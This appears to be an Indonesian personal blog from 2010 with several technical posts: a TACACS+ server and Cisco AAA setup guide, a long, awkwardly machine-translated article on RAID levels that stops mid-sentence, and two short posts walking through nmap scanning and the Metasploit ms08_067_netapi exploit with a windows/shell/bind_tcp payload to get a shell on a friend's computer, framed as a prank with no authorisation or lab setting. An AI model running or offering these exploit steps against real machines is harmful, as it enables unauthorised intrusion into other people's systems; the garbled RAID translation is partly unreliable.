Jumat, 20 Agustus 2010

metasploit versi 2

Standard
saya mau melakuakn inject terhadap komp teman saya melalui vncinject yang ada pada exploit... pertama yang hrus kita lakukan mengecek port apa saja yang terbuka dengan melakukan nmap -sS -O [ip target] setelah muncul saya akan masuk melalu port 135/tcp kemudian saya masuk ke metasploit dengan mengetikan msfconsole setelah itu saya mulai beraksi dengan mengetikan use exploit/windows/smb/ms08_067_netapi lalu kita liat ada perintah apa saja dengan mengetikan show payloads kemudian kita set payload sesuai dengan apa yang anda inginkan klo saya inginnya menggukan set payload windows/shell/bind_tcp setelah itu kita liat perintah apa saja yang belum ada/belum kita seting... setelah keluar kita masukan RHOST ( ip si target ) dengan perintah set RHOST 192.168.16 (terserah) oce sudah selesai mari kita test... dengan mengetikan exploit tada... kita berhasil masuk deh... enaknya kita apain yah???!!! ref : http://www.hacker-cisadane.org nobita_chupuy Hacker Cisadane

metasploit versi 1

Standard
pertama tama kita melakukan scan network dulu dengan perintah nmap -sS -O [ip target] lalu setelah itu kita masuk ke metasploit dengan mengetikan msfconsole setelah muncul langsung saja kita lalukan tahap pertama dengan mengetikan perintah sebagai berikut... use exploit/windows/smb/ms08_067_netapi show payloads set payload windows/shell/bind/tcp set RHOST [ip target] exploit selesai dah dan apakah yang akan terjadi.... tada.... kita berhasil masuk kedalam sistem target dan ini tidak selalu berhasil tergantung dari port yang kita masuki itu bisa diinjeck atau tidak.. sekian.... nobita_chupuy Hacker Cisadane ref : http://hacker-cisadane.org

Senin, 16 Agustus 2010

CISCO Simple User Radius Authentification

Standard
Pendahuluan TACACS adalah suatu program yang berfungsi untuk authentifikasi multiuser / radius server dalam pengaksesan suatu perangkat. Dan perangkat yang paling sering digunakan adalah CISCO. Kelebihan dari software ini yaitu suatu perangkat ( router / switch ) bisa diakses dengan menggunakan username yang berbeda tanpa adanya tambahan config yang memberatkan di perangkat, atau dengan kata lain TACACS mempunyai table username yang berbeda dengan policy penerapan akses yang berbeda tiap-tiap usernya tanpa memperhatikan level user yang ada. Selain itu kelebihan dengan centralize TACACS disamping setiap ada perubahan password cukup dengan update db di TACACS nya, program ini juga menawarkan fitur logging tiap-tiap user setiap kali user tersebut OL dan semua aktifitas akan di rekap dan easy to import tentunya. I.Instalasi TACACS on Ubuntu Server a.Install Ubuntu ( 6.10 ) b.Install tac_plus c.Konfigure file tacac.conf untuk pengaturan previledge, group, akses user. d.Reboot tacacs
II.List file di TACACS Server /var/log/tac-plus/account.log (log user login + aktifitas user) /var/tmp/tac_plus.log (service logfile) /etc/init.d/tac-plus (startup script) /etc/tac-plus/tacacs.conf (users and global settings) /usr/sbin/tac_plus (executable) III.Config di CISCO aaa new-model ! ! aaa authentication login default group tacacs+ local aaa authentication enable default group tacacs+ enable aaa authorization commands 1 default group tacacs+ none aaa authorization commands 15 default group tacacs+ none aaa accounting exec default start-stop group tacacs+ aaa accounting commands 1 default start-stop group tacacs+ aaa accounting commands 15 default start-stop group tacacs+ aaa accounting network default start-stop group tacacs+ aaa accounting connection default start-stop group tacacs+ aaa accounting system default start-stop group tacacs+ username xxx password xxx tacacs-server host xxx.xxx.xxx line con 0 exec-timeout 0 0 line vty 0 4 exec-timeout 0 0 nb : bold  supaya device bisa tetap diconfigure ketika TACACS offline IV.Cara Add User Add User & Password #htpasswd –d /etc/tac-plus/login test Masukkan password sesuai keinginan anda Buka file password tersebut untuk mengetahui encripsi password anda yang nantinya akan di copy ke tacacs.conf #ee /etc/tac-plus/login Copykan encrisi passwordnya yang terletak di sebelah user ke dalam tacacs.conf noc:5Ie.2NfO/wu4Y -> yang dicopy reza:FUXeXAXvc08XU Edit di tacacs.confnya #ee /etc/tac-plus/tacacs.conf Kemudian masukkan config ini kedalamnya user = test { -> sesuai dengan user yang diadd member = noc login = des {password}  pastekan passwordnya } Restart service TACACnya # /etc/init.d/tac-plus restart V.Cara Mofify User Untuk modify tidak bisa langsung change jadi harus didelet dulu di file /etc/tac-plus/login dengan perintah # htpasswd –D /etc/tac-plus/login test Kemudian add lagi terus paste lagi seperti step diatas. 1.Reporting Log di TACACS a.Setiap akhir bulan log accounting ( user login ) didownload dengan menggunakan SSH Secure File Transfer Client. Dengan sebelumnya mencopynya ke folder home agar bias diakses : # cp /var/log/tac-plus/account /home/biznet/ Kemudian buka SSH Secure File Transfer Client Tinggal klik kanan copy b.Open file tersebut dengan Microsoft Excel c.Rapikan  referensi : ilmukomputer.com Referensi http://www.debianhelp.co.uk/tacacs.htm

Rabu, 12 Mei 2010

artikel RAID

Standard
RAID, singkatan redundant array disk independen atau juga dikenal sebagai array berlebihan dari disk murah, adalah teknologi yang memungkinkan tingkat kehandalan yang tinggi penyimpanan dari biaya rendah dan kurang handal disk PC-kelas-drive komponen, melalui teknik mengatur perangkat ke dalam array untuk redundansi . Konsep ini pertama kali didefinisikan oleh David A. Patterson ,Garth A. Gibson dan Randy Katz di University of California, Berkeley pada tahun 1987 sebagai array berlebihan dari disk murah.marketer yang mewakili industri manufaktur kemudian diciptakan kembali RAID istilah untuk menggambarkan berlebihan array disk independen sebagai cara memisahkan sebuah-harapan biaya rendah dari teknologi RAID.
RAID sekarang digunakan sebagai istilah umum untuk penyimpanan data komputer skema yang dapat membagi dan replikasi data antara beberapa hard disk drive. Skema yang berbeda / arsitektur yang ditunjuk oleh kata RAID diikuti dengan nomor, seperti pada RAID 0, RAID 1, dll RAID berbagai desain yang melibatkan dua tujuan desain kunci: meningkatkan keandalan data dan / atau meningkatkaninput / output kinerja. Ketika beberapa disk fisik ditetapkan untuk menggunakan teknologi RAID, mereka dikatakan dalam sebuah array RAID. array ini mendistribusikan beberapa data di disk, tapi array dilihat oleh pengguna komputer dan sistem operasi sebagai salah satu disk tunggal. RAID dapat dikonfigurasi untuk melayani berbagai tujuan. Prinsip RAID menggabungkan dua atau lebih hard disk fisik ke dalam sebuah unit logical tunggal dengan menggunakan perangkat keras atau perangkat lunak khusus. Hardware solusi sering dirancang untuk membawakan diri dengan sistem yang dilampirkan sebagai hard drive tunggal, sehingga sistem operasi akan menyadari kerja teknis. Sebagai contoh, jika seseorang ingin mengkonfigurasi berbasis RAID-5 volume perangkat keras dengan menggunakan tiga hard drive 250 GB (dua drive untuk data, dan satu untuk paritas ), sistem operasi akan disajikan dengan volume tunggal 500 GB. Perangkat Lunak solusi biasanya diimplementasikan dalam sistem operasi dan akan menyajikan volume RAID sebagai drive tunggal untuk aplikasi yang berjalan dalam sistem operasi. Ada tiga konsep kunci dalam RAID: mirroring , penulisan data identik dengan lebih dari satu disket; striping , pemisahan data di lebih dari satu disk, dan koreksi kesalahan , dimana data disimpan paritas berlebihan untuk memungkinkan masalah yang harus dideteksi dan mungkin diperbaiki (dikenal sebagai toleransi kesalahan ). Skema RAID yang berbeda-beda menggunakan satu atau lebih teknik ini, tergantung pada persyaratan sistem. Tujuan menggunakan RAID adalah untuk meningkatkan keandalan dan ketersediaan data, memastikan bahwa data penting tidak dirugikan dalam kasus kegagalan perangkat keras, dan / atau untuk meningkatkan kecepatan file input / output . Setiap skema RAID mempengaruhi kehandalan dan kinerja dengan cara yang berbeda. Setiap disk tambahan termasuk dalam array meningkatkan kemungkinan bahwa seseorang akan gagal, tapi dengan menggunakan pengecekan error dan / atau mirroring, array secara keseluruhan dapat dibuat lebih andal dengan kemampuan untuk bertahan dan pulih dari kegagalan. Dasar mirroring dapat mempercepat pembacaan data, sebagai suatu sistem dapat membaca data yang berbeda dari beberapa disk pada saat yang sama, tapi mungkin lambat untuk menulis jika konfigurasi mensyaratkan bahwa semua disk harus mengkonfirmasi bahwa data tertulis dengan benar. Striping, sering digunakan untuk meningkatkan kinerja, menulis setiap bit ke disk yang berbeda, sehingga data yang akan direkonstruksi dari beberapa disk lebih cepat daripada disket tunggal bisa mengirim data yang sama. memeriksa Kesalahan biasanya akan memperlambat kinerja sebagai data harus dibaca dari beberapa tempat dan kemudian dibandingkan. Rancangan skema RAID sering merupakan kompromi dalam satu atau lebih menghormati, dan memahami persyaratan sistem adalah penting. Modern array disk biasanya memberikan fasilitas untuk memilih konfigurasi RAID yang sesuai. Organisasi Pengorganisasian disk ke array yang berlebihan akan menurunkan kapasitas penyimpanan yang dapat digunakan. Misalnya, 2-disk RAID 1 array kehilangan separuh dari total kapasitas yang akan dinyatakan telah tersedia dengan menggunakan kedua disk secara independen, dan sebuah array RAID 5 dengan beberapa disk kehilangan kapasitas satu disk. Jenis lain dari array RAID diatur, misalnya, sehingga mereka lebih cepat untuk menulis dan membaca dari disk tunggal. Ada berbagai kombinasi pendekatan ini memberikan perdagangan yang berbeda-off perlindungan terhadap kehilangan data, kapasitas, dan kecepatan. RAID tingkat 0, 1, dan 5 yang paling sering ditemukan, dan menutupi persyaratan yang paling. RAID 0 RAID 0 (disk bergaris) mendistribusikan data di beberapa disk dengan cara-cara yang memberikan peningkatan kecepatan pada suatu saat tertentu. Jika salah satu disk gagal, namun, semua data pada array akan hilang, karena ada atau tidak mencerminkan paritas. Dalam hal ini, RAID 0 adalah keliru karena RAID 0 adalah non-berlebihan. Sebuah RAID 0 array membutuhkan minimal dua drive. Sebuah konfigurasi RAID 0 dapat diterapkan di drive asalkan RAID controller adalah perangkat keras dan tidak lunak (yaitu array berbasis OS) dan memungkinkan untuk konfigurasi tersebut. Hal ini memungkinkan drive tunggal yang akan ditambahkan ke controller lain yang sudah berisi konfigurasi RAID bila pengguna tidak ingin menambah drive tambahan untuk array yang ada. Dalam hal ini, controller akan ditetapkan sebagai RAID hanya (sebagai lawan dari SCSI dalam konfigurasi non-RAID), yang mensyaratkan bahwa setiap individu menjadi bagian dari semacam array RAID. RAID 1 RAID 1 mirror isi disk, membuat bentuk rasio 01:01 mirroring waktu nyata. Isi setiap disk dalam array yang identik dengan yang lain setiap disk dalam array. Sebuah array RAID 1 memerlukan minimal dua drive. RAID 3, RAID 4 RAID 3 atau 4 (bergaris disk dengan paritas khusus) menggabungkan tiga atau lebih disk dengan cara yang melindungi data terhadap kehilangan satu disk. Fault tolerance dicapai dengan menambahkan sebuah disk tambahan untuk array, yang dipersembahkan untuk menyimpan informasi paritas; kapasitas keseluruhan array tersebut dikurangi dengan satu disk. Sebuah array RAID 3 atau 4 membutuhkan minimal tiga drive: dua untuk menyimpan data bergaris-garis, dan yang ketiga untuk paritas. Dengan tiga drive minimum yang dibutuhkan untuk RAID 3, efisiensi penyimpanan adalah 66 persen. Dengan enam drive, efisiensi penyimpanan adalah 83 persen. RAID 5 Belang set dengan paritas didistribusikan atau paritas interleave membutuhkan 3 atau lebih disk. Paritas didistribusikan mengharuskan semua drive kecuali satu yang akan hadir untuk beroperasi; kegagalan drive memerlukan penggantian, tapi array yang tidak hancur karena kegagalan sebuah drive tunggal. Setelah kegagalan drive, setiap kali dibaca berikutnya dapat dihitung dari paritas didistribusikan seperti bahwa kegagalan drive bertopeng dari pengguna akhir. array ini akan memiliki kehilangan data dalam hal kegagalan drive kedua dan rentan sampai data yang ada di drive gagal adalah dibangun kembali ke drive pengganti. Kegagalan satu drive dalam mengatur akan mengakibatkan penurunan kinerja seluruh himpunan sampai gagal drive telah diganti dan dibangun kembali. RAID 6 RAID 6 (bergaris disk dengan paritas dual) menggabungkan empat atau lebih disk dengan cara yang melindungi data terhadap kerugian dari dua disk. Misalnya, jika tujuannya adalah untuk menciptakan 10x1TB ruang dapat digunakan dalam konfigurasi 6 RAID, kita perlu dua disk tambahan untuk data paritas. RAID 10 RAID 1 0 (atau 10) adalah cermin kumpulan data (RAID 1) yang kemudian bergaris (RAID 0), maka "1 0" nama. Sebuah RAID 1 0 array memerlukan minimal empat drive - drive dua cermin untuk memegang separuh dari data bergaris, ditambah dua cermin untuk bagian lain dari data. Di Linux, MD RAID 10 adalah jenis non-nested RAID seperti RAID 1 yang hanya membutuhkan minimal dua drive dan dapat memberikan performa membaca pada tingkat RAID 0. RAID 01 RAID 0 +1 (atau 01) adalah data yang bergaris-garis set (RAID 0) yang kemudian mirror (RAID 1). Sebuah array RAID 0 +1 membutuhkan minimum empat drive: dua untuk menyimpan data bergaris, ditambah dua sampai cermin pasangan pertama. Hal ini memberikan kinerja terbaik RW Hardware / Software RAID dapat melibatkan perhitungan yang signifikan ketika membaca dan menulis informasi. Dengan tradisional "nyata" RAID hardware, controller terpisah melakukan perhitungan ini. Dalam kasus lain sistem operasi atau lebih sederhana dan mahal pengendali kurang memerlukan host komputer prosesor untuk melakukan komputasi, yang mengurangi komputer kinerja on-intensif tugas prosesor (lihatSistem operasi berbasis ("perangkat lunak RAID") dan Firmware RAID driver berbasis / di bawah). Simpler pengendali RAID dapat menyediakan tingkat hanya 0 dan 1, yang memerlukan pengolahan lebih sedikit. sistem RAID dengan redundancy terus bekerja tanpa gangguan ketika salah satu (atau mungkin lebih, tergantung pada jenis RAID) disk array gagal, meskipun mereka kemudian rentan terhadap kegagalan lebih lanjut. Ketika disk buruk diganti dengan yang baru array tersebut dibangun sedangkan sistem terus beroperasi secara normal. Beberapa sistem harus dimatikan ketika menghapus atau menambahkan drive; lain mendukung swapping panas , memungkinkan drive untuk diganti tanpa powering down. RAID dengan hot-swapping sering digunakan dalam ketersediaan tinggi sistem, di mana adalah penting bahwa sistem tetap berjalan seperti banyak waktu mungkin. Perhatikan bahwa RAID controller itu sendiri dapat menjadi titik tunggal kegagalan dalam sistem. Standar tingkat Sejumlah skema telah berevolusi standar yang disebut sebagai tingkat. Ada lima RAID tingkat awalnya dipahami, tetapi lebih banyak variasi telah berevolusi, beberapa terutama tingkat nested dan banyak tingkat non-standar (umumnya proprietary ). Berikut ini adalah ringkasan singkat dari biasanya digunakan RAID tingkat kebanyakan. Space efisiensi diberikan sebagai jumlah ruang penyimpanan yang tersedia dalam sebuah array disk n, dalam kelipatan kapasitas drive tunggal. Sebagai contoh jika sebuah array memegang n = 5 drive 250GB dan efisiensi n-1 ruang kemudian tersedia adalah 4 kali 250GB atau sekitar 1TB. Tingkat Deskripsi # Minimum disk Efisiensi ruang Fault Toleransi Gambar RAID 0 Belang ditetapkan tanpa paritas atau mirroring . Menyediakan meningkatkan kinerja dan penyimpanan tambahan tapi tidak ada redundansi atau toleransi kesalahan. Karena tidak ada redundansi, tingkat ini tidak benar-benar sebuah Redundant Array Independent Disk, yaitu RAID tidak benar. Namun, karena kemiripan dengan RAID (terutama kebutuhan untuk kontroler untuk mendistribusikan data di beberapa disk), set stripe sederhana biasanya disebut sebagai RAID 0. Setiap kegagalan merusak disk array, yang memiliki konsekuensi yang lebih besar dengan disk lebih dalam array (minimal, kerugian bencana data dua kali lebih berat dibandingkan dengan drive tunggal tanpa RAID). Kegagalan tunggal disk menghancurkan seluruh array karena ketika data ditulis ke drive RAID 0, data dibagi menjadi fragmen-fragmen. Jumlah fragmen ditentukan oleh jumlah disk di array.Fragmen ditulis ke disk secara bersamaan pada masing-masing sektor yang sama. Hal ini memungkinkan bagian-bagian kecil dari seluruh potongan data yang akan membacakan drive secara paralel, meningkatkan bandwidth. RAID 0 tidak melaksanakan pemeriksaan kesalahan sehingga kesalahan adalah unrecoverable. Lebih disk dalam array berarti bandwidth yang lebih tinggi, tapi risiko kehilangan data yang lebih besar. 2 n 0 (tidak ada) RAID 1 Cermin ditetapkan tanpa paritas atau striping . Memberikan toleransi kesalahan dari kesalahan dan kegagalan disk semua kecuali satu dari drive. membaca Peningkatan kinerja terjadi ketika menggunakan multi-threaded sistem operasi yang mendukung split mencari, serta penurunan kinerja yang sangat kecil saat menulis. Array terus beroperasi selama setidaknya satu drive berfungsi. Menggunakan RAID 1 dengan kontroler terpisah untuk setiap disk kadang-kadang disebut duplexing. 2 1 (ukuran disk terkecil) n-1 disk RAID 2 Kode Hamming paritas. Disk akan disinkronisasi dan bergaris-garis di garis-garis yang sangat kecil, sering kali dalam byte tunggal / kata-kata. Hamming kode koreksi kesalahan dihitung di seluruh bit yang terkait pada disk, dan disimpan pada disk paritas beberapa. 3 RAID 3 Belang set dengan paritas bit interleaved khusus atau paritas paritas atau tingkat byte. Mekanisme ini memberikan toleransi kesalahan mirip dengan RAID 5. Namun, karena garis di disk yang jauh lebih kecil daripada blok filesystem, membaca dan menulis untuk array melakukan seperti drive tunggal dengan kinerja tinggi menulis linier. Untuk ini bekerja dengan baik, harus memiliki drive disinkronisasi rotasi. Jika satu drive gagal, kinerja tidak terpengaruh. 3 n-1 1 disk RAID 4 Blok tingkat paritas,. Identik dengan RAID 3 tetapi tingkat striping blok bukan byte-tingkat striping. Dalam konfigurasi ini, file dapat didistribusikan antara beberapa disk. Setiap disk beroperasi secara independen yang memungkinkan I / O yang akan dilakukan secara paralel, meskipun kecepatan transfer data dapat menderita karena jenis paritas. Pendeteksian error dicapai melalui paritas berdedikasi dan disimpan di unit, disk terpisah tunggal. 3 n-1 1 disk RAID 5 Belang diatur dengan paritas didistribusikan atau paritas interleave. Paritas didistribusikan mengharuskan semua drive kecuali satu yang akan hadir untuk beroperasi; kegagalan drive memerlukan penggantian, tapi array yang tidak hancur karena kegagalan sebuah drive tunggal. Setelah kegagalan drive, setiap kali dibaca berikutnya dapat dihitung dari paritas didistribusikan seperti bahwa kegagalan drive bertopeng dari pengguna akhir. array ini akan memiliki kehilangan data dalam hal kegagalan drive kedua dan rentan sampai data yang ada di drive gagal adalah dibangun kembali ke drive pengganti. Kegagalan satu drive dalam mengatur akan mengakibatkan penurunan kinerja seluruh himpunan sampai gagal drive telah diganti dan dibangun kembali. 3 n-1 1 disk RAID 6 Belang set dengan paritas didistribusikan dual kesalahan. Toleransi Menyediakan dari dua kegagalan drive; array terus beroperasi dengan sampai dua drive gagal. Hal ini membuat RAID yang lebih besar kelompok yang lebih praktis, terutama sistem ketersediaan tinggi. Hal ini menjadi semakin penting karena drive berkapasitas besar memperpanjang waktu yang diperlukan untuk pulih dari kegagalan drive. Single paritas RAID level yang rentan terhadap kehilangan data sampai drive gagal adalah dibangun: drive yang lebih besar, lebih panjang akan membangun kembali. Dual paritas memberikan waktu untuk membangun kembali array tanpa data yang beresiko jika drive (tunggal) tambahan gagal sebelum pembangunan kembali selesai. 4 n-2 2 disk Digabung (hibrid) RAID Dalam apa yang pada awalnya disebut RAID hibrida, [5] kontroler banyak penyimpanan RAID memungkinkan tingkat untuk diulang. Elemen-elemen dari sebuah RAID disk dapat berupa individu atau serangan sendiri. Nesting lebih dari dua dalam adalah tidak biasa. Karena tidak ada RAID tingkat dasar nomor lebih besar dari 9, serangan nested biasanya jelas digambarkan oleh concatenating nomor yang menunjukkan tingkat RAID, kadang-kadang dengan + "" di antara keduanya. Misalnya, RAID 10 (atau RAID 1 0) terdiri dari beberapa level 1 array drive fisik, masing-masing yang merupakan salah satu dari "drive" dari tingkat 0 array bergaris atas level 1 array. Hal ini tidak disebut RAID 01, untuk menghindari kebingungan dengan RAID 1, atau bahkan, RAID 01 . Ketika atas adalah array RAID 0 (seperti dalam RAID 10 dan RAID 50) vendor yang paling menghilangkan "+", meskipun RAID 5 0 lebih jelas.  RAID 0 +1: set belang di cermin set (minimal empat disk, bahkan jumlah disk) memberikan toleransi kesalahan dan perbaikan kinerja tapi kompleksitas meningkat. Perbedaan utama dari RAID 1 0 adalah bahwa RAID 0 +1 menciptakan kedua bergaris diatur ke cermin satu set garis-garis utama. array terus beroperasi dengan satu atau lebih drive yang sama gagal dalam cermin set, namun jika drive gagal di kedua sisi cermin data pada sistem RAID hilang.  RAID 1 0: cermin set di set bergaris (minimal dua disk tapi lebih sering empat disk untuk memanfaatkan keuntungan kecepatan, bahkan jumlah disk) memberikan toleransi kesalahan dan perbaikan kinerja tapi kompleksitas meningkat. Perbedaan utama dari RAID 0 +1 adalah bahwa RAID 1 0 menciptakan satu set bergaris dari serangkaian cermin drive. Dalam situasi disk gagal, RAID 1 0 performa lebih baik karena semua sisa disk terus digunakan. array dapat mempertahankan kerugian multiple drive selama cermin tidak kehilangan semua drive-nya.  RAID 5 1: cermin bergaris diatur dengan paritas didistribusikan (beberapa produsen label ini sebagai RAID 53). RAID Baru klasifikasi Pada tahun 1996, Dewan Penasehat RAID memperkenalkan klasifikasi sistem RAID ditingkatkan. RAID ini terbagi menjadi tiga jenis: Kegagalan sistem disk-tahan (yang melindungi terhadap kehilangan data karena kegagalan disk), kegagalan-toleran disk sistem (yang melindungi terhadap kehilangan akses data karena kegagalan dari komponen tunggal), dan bencana-toleran disk sistem (yang terdiri dari dua atau lebih zona independen, baik yang menyediakan akses ke data yang tersimpan). Klasifikasi asli "Berkeley" RAID masih disimpan sebagai titik acuan yang penting sejarah dan juga untuk mengakui bahwa RAID Levels 0-6 berhasil mendefinisikan semua data pemetaan dikenal dan skema perlindungan untuk disk. Sayangnya, klasifikasi asli menyebabkan beberapa kebingungan karena asumsi yang lebih tinggi menyiratkan RAID tingkat redundansi tinggi dan kinerja. Kebingungan ini dieksploitasi oleh produsen sistem RAID, dan melahirkan produk dengan nama seperti RAID-7, RAID-10, RAID-30, RAID-S, dll sistem baru menggambarkan karakteristik ketersediaan data dari sistem RAID agak dari rincian pelaksanaannya. Daftar berikutnya menyediakan kriteria untuk ketiga kelas RAID: Kegagalan sistem disk-tahan (FRDS) (memenuhi kriteria minimum 1-6): 1. Perlindungan terhadap kehilangan data dan kehilangan akses ke data karena kegagalan disk drive 2. Rekonstruksi konten drive gagal drive pengganti 3. Perlindungan terhadap kehilangan data karena "menulis lubang" 4. Perlindungan terhadap kehilangan data karena host dan host I / O bus kegagalan 5. Perlindungan terhadap kehilangan data akibat kegagalan unit tergantikan 6. tergantikan unit monitoring dan indikasi kegagalan - Kegagalan sistem disk-toleran (FTDS) (memenuhi kriteria minimal 7-15): 7. Disk otomatis swap swap dan panas 8. Perlindungan terhadap kehilangan data karena kegagalan cache 9. Perlindungan terhadap kehilangan data akibat kegagalan daya eksternal 10. Perlindungan terhadap kehilangan data karena temperatur keluar dari Jarak operasi 11. Diganti unit dan peringatan kegagalan lingkungan 12. Perlindungan terhadap kehilangan akses ke data karena kegagalan perangkat saluran 13. Perlindungan terhadap kehilangan akses ke data karena kegagalan modul controller 14. Perlindungan terhadap kehilangan akses ke data karena kegagalan cache 15. Perlindungan terhadap kehilangan akses ke data karena kegagalan power supply - Sistem disk Bencana-toleran (DTDS) (memenuhi kriteria minimal 16-21): 16. Perlindungan terhadap kehilangan akses ke data karena host dan host I / O bus kegagalan 17. Perlindungan terhadap kehilangan akses ke data karena kegagalan daya eksternal 18. Perlindungan terhadap kehilangan akses ke data karena penggantian komponen 19. Perlindungan terhadap kehilangan data dan kehilangan akses ke data karena kegagalan beberapa disk 20. Perlindungan terhadap kehilangan akses ke data karena kegagalan zona 21. Jarak jauh perlindungan terhadap hilangnya data karena kegagalan zona Non-standar Banyak konfigurasi lain daripada tingkat dasar bernomor RAID adalah mungkin, dan banyak perusahaan, organisasi, dan kelompok telah menciptakan konfigurasi sendiri non-standar, dalam banyak kasus dirancang untuk memenuhi kebutuhan khusus dari kelompok ceruk kecil. Sebagian besar dari standar RAID tingkat non- eksklusif .  Penyimpanan Computer Corporation digunakan untuk panggilan versi cache dari RAID 3 dan 4, RAID 7. Penyimpanan Computer Corporation kini sudah tidak beroperasi.  EMC Corporation digunakan untuk menawarkan RAID S sebagai alternatif untuk RAID 5 pada mereka Symmetrix sistem. generasi terbaru mereka Symmetrix, yang DMX dan seri V-Max, tidak mendukung RAID S (bukan mereka mendukung RAID-1, RAID-5 dan RAID-6.)  The ZFS filesystem, tersedia dalam Solaris , OpenSolaris dan FreeBSD , menawarkan RAID-Z , yang memecahkan RAID 5 yang menulis lubang masalah.  Hewlett-Packard 's Advanced Data Guarding (ADG) adalah bentuk RAID 6.  NetApp 's Data OnTap menggunakan RAID-DP (juga disebut sebagai "double", "dual", atau "diagonal" paritas), adalah bentuk RAID 6, tapi tidak seperti banyak RAID 6 implementasi, tidak menggunakan paritas didistribusikan seperti dalam RAID 5. Sebaliknya, dua disk paritas yang unik dengan perhitungan paritas yang terpisah digunakan. Ini merupakan modifikasi RAID 4 dengan disk paritas ekstra.  Triple Accusys Paritas (RAID TP) menerapkan tiga parities independen dengan memperluas RAID 6 algoritma on-FC nya SATA dan SCSI-SATA RAID controller untuk mentolerir kegagalan tiga-disk.  Linux MD RAID10 (RAID10) menerapkan driver RAID umum yang defaultnya adalah standar RAID 1 dengan 2 drive, dan standar RAID 1 0 dengan empat drive, tetapi dapat memiliki jumlah drive, termasuk angka ganjil. RAID10 MD dapat menjalankan bergaris-garis dan cermin, bahkan dengan hanya dua drive dengan layout f2 (mirroring dengan garis-garis membaca, memberikan kinerja membaca RAID 0; normal Linux software RAID 1 tidak stripe membaca, namun dapat dibaca secara paralel [6] ) . [7]  Infrant (sekarang bagian dari Netgear ) X-RAID menawarkan ekspansi dinamis RAID5 volume tanpa harus kembali atau memulihkan konten yang ada. Hanya menambahkan drive yang lebih besar satu per satu, biarkan resync, kemudian menambahkan drive berikutnya sampai semua drive yang diinstal. Kapasitas volume yang dihasilkan meningkat tanpa downtime pengguna. (Perlu dicatat bahwa ini juga mungkin di Linux, ketika menggunakan Mdadm utilitas. Hal ini juga mungkin di Clariion EMC dan HP MSA array selama beberapa tahun dengan.) baru The X-RAID2 ditemukan pada x86 ReadyNas, yaitu ReadyNas Intel CPU, menawarkan ekspansi dinamik suatu-RAID 5 atau RAID-6 volume (catatan RAID2 redundansi Dual-X tidak tersedia pada semua ReadyNas X86) tanpa harus kembali atau memulihkan konten yang ada dll Sebuah keuntungan besar atas X-RAID, adalah bahwa dengan menggunakan X-RAID2 Anda tidak perlu mengganti semua disk untuk mendapatkan ruang ekstra, Anda hanya perlu mengganti dua disk menggunakan redundansi tunggal atau empat disk menggunakan dual redundancy untuk mendapatkan ruang yang lebih berlebihan.  BeyondRAID, diciptakan oleh Data Robotika dan digunakan dalam Drobo serangkaian produk, mengimplementasikan mirroring dan striping baik secara simultan atau secara individu tergantung pada disk dan konteks data. Ini menawarkan kemampuan ekspansi tanpa konfigurasi ulang, kemampuan untuk mencampur dan mencocokkan ukuran drive dan kemampuan untuk menyusun ulang disk.Mendukung NTFS , HFS + , FAT32 , dan ext3 filesystem [8] . Ia juga menggunakan pengadaan tipis untuk memungkinkan volume tunggal hingga 16 TB tergantung pada dukungan sistem operasi host.  Hewlett-Packard 's EVA array melaksanakan serangkaian vRAID - vRAID-0, vRAID-1, vRAID-5, dan vRAID-6. EVA memungkinkan drive untuk ditempatkan dalam kelompok-kelompok (disebut Groups Disk) yang membentuk kolam data blok di atas yang tingkat RAID diimplementasikan. Setiap Disk Grup mungkin memiliki "disk virtual" atau Luns dari setiap jenis vRAID, termasuk pencampuran vRAID jenis di Disk Grup yang sama - sebuah fitur unik. vRAID tingkat lebih erat selaras dengan tingkat Digabung RAID - vRAID-1 sebenarnya adalah sebuah RAID 1 0 (atau RAID10), vRAID-5 sebenarnya adalah sebuah RAID 5 0 (atau RAID50), dll Selain itu, drive dapat ditambah pada -the-terbang ke Disk Group yang ada, dan data disk virtual yang ada didistribusikan secara merata di semua drive, sehingga memungkinkan kinerja dinamis dan pertumbuhan kapasitas.  IBM (Antara lain) telah menerapkan RAID 1E (Tingkat 1 Enhanced). Dengan jumlah lebih dari disk itu adalah sama dengan 10 array RAID, tapi, tidak seperti array RAID 10, juga dapat diimplementasikan dengan ganjil drive. Dalam kedua kasus tersebut, total ruang disk yang tersedia adalah n / 2. Hal ini membutuhkan minimal tiga drive. perhitungan paritas membangun kembali drive gagal Paritas data dalam lingkungan RAID dihitung dengan menggunakan Boolean XOR fungsi. Sebagai contoh, di sini adalah sederhana RAID 4 setup tiga terdiri dari dua disk drive yang menyimpan 8 bit data masing-masing dan ketiga drive yang akan digunakan untuk menyimpan data paritas. Drive 1: 01.101.101 Drive 2: 11010100 Untuk menghitung data paritas untuk dua drive, XOR adalah dilakukan pada data. yaitu 01101101 XOR 11010100 = 10111001 Data paritas yang dihasilkan, 10111001, yang kemudian disimpan pada Drive 3, drive paritas khusus. Jika salah satu dari tiga drive gagal, isi dari drive gagal dapat direkonstruksi pada pengganti (atau "panas cadangan") drive dengan menundukkan data dari drive yang tersisa untuk operasi XOR sama.Jika Drive 2 adalah gagal, datanya bisa kembali dengan hasil XOR dari isi dua drive yang tersisa, Drive 3 dan Drive 1: Drive 3: 10.111.001 Drive 1: 01.101.101 yaitu 10111001 XOR 01101101 = 11010100 Hasil yang 2 Drive hasil perhitungan itu isi XOR. 11.010.100 yang kemudian disimpan pada Drive 2, sepenuhnya memperbaiki array. XOR Konsep yang sama juga berlaku untuk array yang lebih besar, menggunakan beberapa disk. Dalam kasus sebuah array RAID 3 dari 12 drive, 11 drive berpartisipasi dalam perhitungan XOR ditunjukkan di atas dan menghasilkan nilai yang kemudian disimpan di drive paritas khusus. Cara lain untuk mengatakan ini adalah: Pada dasarnya, semua itu dilakukan pada 3 (pemulihan) drive memberitahu Anda apakah data pada 2 drive pertama adalah sama atau tidak, 0 berarti ya, dan 1 yang tidak. Oleh karena itu, berpura-pura bahwa drive kedua yang hilang. Drive 1 kata 1, dan Drive 3 mengatakan bahwa Drive 1 dan 2 bukan merupakan nilai yang sama (1) sehingga drive 2 harus menjadi 0. Jika Drive 3 mengatakan mereka nilai sama (0) maka drive 2 harus menjadi 0. Begitulah cara itu dihitung ulang. Ia juga memberitahu Anda bagaimana jumlah drive yang hilang tidak bisa melebihi jumlah volume pemulihan. Jika drive 1 dan 2 sama-sama hilang, dan drive 3 kata 0 (mereka sama) tetap tidak akan tahu apakah mereka berdua 0, atau jika mereka berdua 1's. Jika drive 3 kata 1 (mereka berbeda), Anda tidak akan tahu apakah drive 1 adalah 0 dan drive 2 adalah 1, atau jika sebaliknya. RAID tidak data cadangan Sebuah sistem RAID yang digunakan sebagai drive utama bukanlah pengganti untuk back up data. Data 